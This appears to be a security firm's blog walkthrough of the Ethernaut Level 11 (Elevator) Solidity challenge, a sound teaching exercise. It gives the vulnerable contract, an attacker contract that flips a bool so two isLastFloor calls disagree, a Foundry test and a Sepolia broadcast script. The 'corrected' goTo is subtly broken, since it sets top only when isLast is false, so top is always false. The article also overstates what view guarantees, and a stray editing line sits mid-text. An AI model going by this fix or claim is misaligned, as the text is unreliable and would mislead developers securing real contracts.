← Back to blog
Mike B. - SecLat SecuritySeptember 25, 2026

Ethernaut Level 11 Walkthrough: Breaking View Assumptions in Solidity

In this article, we will analyze and solve Ethernaut Level 11: Elevator.

Reading time: ~10 min

This level looks like it should be safe by construction. Elevator calls an external contract twice inside the same function to check whether a floor is the last one, and it uses the second call's result to decide whether to flip a flag. The assumption baked into that design is that calling the same function twice, with the same input, returns the same answer. Nothing in Solidity enforces that assumption. The interface never says the function is view, so the compiler never checks it, and the caller has no way to know the function it just called can lie to it twice, differently, on purpose.

Beyond solving the challenge, we will cover:

  • Why interfaces that omit view and pure are a silent trust boundary
  • How calling an attacker-controlled contract twice can be exploited with simple state
  • Why "the compiler would catch that" is not true for external calls
  • How to defend against untrusted callbacks with the checks-effects-interactions pattern and view enforcement

Challenge Description

The Elevator contract exposes a single function, goTo, that takes a floor number and asks the caller (treated as a Building) whether that floor is the last one. If the answer is false, it updates its own floor and top state using a second call to the same function.

The goal of the challenge is:

Reach the top of the elevator, meaning top must be true.

Vulnerability Classification

CategoryValue
Vulnerability:Untrusted external call reused for two conflicting decisions
Root Cause:The Building interface omits view, so the compiler never guarantees isLastFloor is stateless or consistent between calls
Impact:Attacker-controlled contract can force Elevator into a state its own logic was meant to prevent
Severity:Medium for this exercise, Critical in real protocols where the flipped state gates funds or privileges
Attack Type:Inconsistent external call / stateful callback abuse

Vulnerable Contract Analysis

This is the vulnerable contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Root Cause of the Vulnerability

Elevator treats msg.sender as if it were a well-behaved Building. It never deploys or controls that contract. Anyone can call goTo, and msg.sender becomes whatever contract the caller chose to write:

Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
    floor = _floor;
    top = building.isLastFloor(floor);
}

The Building interface declares isLastFloor without view:

function isLastFloor(uint256) external returns (bool);

That single missing keyword is the entire vulnerability. A view function is not allowed to modify state, and Solidity enforces that at compile time for functions declared view in the calling contract's own code. But Elevator never declares isLastFloor as view in the interface it calls through, so the compiler places no restriction on what the external contract does inside that function, including reading and writing its own storage between the two calls goTo makes.

Not introducing this with the same line every time:

The bug is not calling an external function. It's calling it twice and trusting the second answer to agree with the first, when the thing being called is code you don't control.

Understanding the View-Trust Gap

  1. goTo calls building.isLastFloor(_floor) once, to decide whether to enter the if block at all.
  2. If that first call returns false, execution enters the block. floor is updated.
  3. goTo calls building.isLastFloor(floor) a second time, with the same numeric argument, and uses this second result to set top.
  4. Nothing forces the two calls to agree. An attacker's isLastFloor can return false on the first invocation and true on the second, using nothing more than a bool flipped each time the function runs.
  5. top ends up true, even though the attacker's contract answered the exact same question two different ways in two consecutive calls within the same transaction.
Elevator.goTo(1) called by ElevatorClimber
  |
  |-- call 1: isLastFloor(1) -> ElevatorClimber flips state, returns false
  |     Elevator: !false == true -> enters the if block
  |
  |-- floor = 1
  |
  |-- call 2: isLastFloor(1) -> ElevatorClimber flips state again, returns true
  |     Elevator: top = true
  v
top == true, goal reached

This class of bug, an external call whose answer is implicitly trusted to be idempotent, shows up in real protocols as price oracles queried twice in one function, "is this NFT the correct owner" checks reused across a multi-step flow, or allowance/balance checks that assume a token contract can't change its own answer mid-call. The mechanism is always the same: no on-chain guarantee that a second call to the same function, with the same input, returns the same output.

Why Is Trusting an External bool Dangerous?

  • external calls hand control to arbitrary code. Once Elevator calls Building(msg.sender), execution moves into code the Elevator author never wrote and cannot inspect at runtime.
  • view is a promise the compiler can enforce, but only if it's declared. If Building.isLastFloor had been typed view in the interface Elevator imports, the Solidity compiler would reject any implementation that writes to storage, closing this exact attack. Omitting view on an interface used for a trust decision is a design mistake, not a style nit.
  • Calling the same external function twice and expecting agreement is a hidden assumption. If a function's result must stay consistent across calls in one transaction, cache the first result and reuse it instead of calling again.
  • Reentrancy guards don't help here. There's no reentrant call into Elevator itself; the exploit lives entirely in what the external contract returns, which a reentrancy guard on Elevator would not catch.

Attack Strategy

What we know:

  1. goTo calls msg.sender.isLastFloor(_floor) twice, and only the second call's result decides top.
  2. The first call must return false so execution reaches the second call at all.
  3. The second call must return true so top gets set.
  4. Nothing stops msg.sender from being a contract we write ourselves, one that tracks its own state and answers differently on each call.

Our strategy:

  1. Deploy a contract that implements isLastFloor, flipping an internal bool on every call.
  2. Set the initial state so the first call returns false and the second returns true.
  3. Call Elevator.goTo(_floor) from our contract, so msg.sender inside Elevator is our contract.
  4. top becomes true after the second call, satisfying the level.

Attacker Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
    function goTo(uint256 _floor) external;
}

contract ElevatorClimber {
    address public owner;
    bool private toggle = true;

    constructor() {
        owner = msg.sender;
    }

    /// @notice Elevator.goTo() calls our isLastFloor() twice; the Building
    /// interface omits `view`, so we flip state between calls: false on the
    /// first call to pass the guard, true on the second to set top = true.
    function isLastFloor(uint256) external returns (bool) {
        toggle = !toggle;
        return toggle;
    }

    function attack(address _target) external {
        require(msg.sender == owner, "Not owner");
        Elevator(_target).goTo(1);
    }
}

toggle starts at true so the first flip (!true) returns false, and the second flip (!false) returns true. That two-call sequence is the entire exploit.

How the Exploit Works

First, we deploy ElevatorClimber. Its toggle state starts at true, but nothing has called isLastFloor yet.

Then, we call attack, which calls Elevator.goTo(1). Inside Elevator, msg.sender is now ElevatorClimber.

Next, Elevator makes its first call to isLastFloor(1). ElevatorClimber flips toggle from true to false and returns false. Elevator evaluates !false, which is true, and enters the if block.

floor is set to 1. Elevator immediately calls isLastFloor(floor) a second time, still within the same transaction. ElevatorClimber flips toggle again, from false to true, and returns true this time.

Finally, Elevator assigns top = true. The level's win condition, elevator.top(), is satisfied.

Validating the Exploit with Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Elevator} from "src/levels/Elevator.sol";
import {ElevatorFactory} from "src/levels/ElevatorFactory.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestElevator_L11 is Test, Utils {
    Ethernaut ethernaut;
    Elevator instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        ElevatorFactory factory = new ElevatorFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Elevator(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(instance.top());
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }

    function testSolve() public {
        vm.startPrank(player);

        ElevatorClimber climber = new ElevatorClimber();
        climber.attack(address(instance));

        assertTrue(instance.top());
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Running the Test

source .env
forge test --match-path test/Solutions/Elevator_L11.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.

Solving the Level on Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {ElevatorClimber} from "test/Solutions/Attacks/ElevatorClimber.sol";
import {console} from "forge-std/console.sol";

contract ElevatorScript is Script {
    address public target;
    ElevatorClimber public climber;

    function setUp() public {
        target = payable("0xYourEthernautInstance");
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        vm.startBroadcast(pk);

        climber = new ElevatorClimber();
        climber.attack(target);

        console.log("Climber contract:", address(climber));

        vm.stopBroadcast();
    }
}

Running the Script

source .env
forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC

Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:

forge script scripts/Elevator.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

How to Prevent Inconsistent External Calls

The vulnerable pattern is calling an untrusted external function more than once and trusting the results to agree:

// Vulnerable: two calls to the same untrusted function, no consistency guarantee
interface Building {
    function isLastFloor(uint256) external returns (bool);
}

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = building.isLastFloor(floor);
    }
}

The fix is to declare the interface as view when the logic assumes statelessness, so the compiler rejects any implementation that writes to storage, and to call the external function once and reuse the result instead of calling it again:

// Corrected: view enforced by the compiler, single call, result reused
interface Building {
    function isLastFloor(uint256) external view returns (bool);
}

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    bool isLast = building.isLastFloor(_floor);

    if (!isLast) {
        floor = _floor;
        top = isLast;
    }
}

view alone does not stop a malicious contract from lying once, but it does stop it from lying differently twice in the same call, which is exactly the primitive this level exploits. For decisions that must be trustworthy regardless of who implements the callback, don't rely on an external contract's honesty at all: use a value the calling contract itself computed, or a whitelisted, audited implementation instead of an arbitrary msg.sender.

Lessons Learned

  • An interface without view or pure is not just a style choice. It's the compiler declining to enforce a consistency guarantee your logic may be depending on.
  • Calling the same external function twice in one transaction and trusting the answers to match is an assumption, not a fact, whenever the callee is not code you control.
  • msg.sender is never guaranteed to be a "well-behaved" contract. Any code can call your function and pretend to be whatever interface you expect.
  • Reentrancy guards protect against reentrant calls into your own contract; they do nothing against a callee simply returning different values on separate calls.
  • Auditors should flag every external call whose result feeds a security-relevant branch, especially when the same call happens more than once per transaction.

Conclusion

Ethernaut Level 11 shows how a single missing view keyword turns an interface into a trust hole. Elevator never suspected that a boolean, evaluated twice with the same input, could tell two different truths, because nothing in Solidity forced that function to behave. The bug looks small in isolation, but the pattern, an external answer trusted to be stable across calls, is exactly what breaks price oracle integrations, ownership checks, and multi-step approval flows in production protocols.

Any contract that calls out to msg.sender or another externally supplied address, and then uses the result to gate state changes, needs to treat that call as adversarial by default. This walkthrough covered:

  • Why omitting view on an interface removes a compiler-enforced guarantee
  • How to exploit two inconsistent answers from the same external call
  • Why reentrancy guards don't address this class of bug
  • How to defend with view enforcement and single-call, reused results

If you are building or reviewing contracts that trust external calls to answer consistently, this is exactly the kind of assumption we stress-test in a professional audit.


Read more Ethernaut walkthroughs on the SECLAT blog.

Need a security audit for your smart contracts? Talk to SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.